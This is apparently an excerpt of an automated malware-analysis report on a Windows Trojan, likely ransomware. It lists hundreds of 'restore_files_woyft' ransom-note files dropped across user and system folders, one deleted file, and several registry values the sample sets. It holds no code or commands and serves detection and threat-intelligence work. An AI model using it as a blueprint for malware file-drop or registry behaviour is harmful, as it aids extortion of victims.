%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12624 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\brndlog.txt (436 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (1157 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
C:\totalcmd\REGISTER.RTF (421 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel4.xls (419 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (15 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (1181 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.html (5 bytes)
%System%\config\SOFTWARE.LOG (4934 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword.doc (426 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (502 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (0 bytes)
Registry activity
The process %original file name%.exe:1616 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 76 DC 8F 36 D0 70 86 1F F9 53 44 1D C6 6D D8"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"
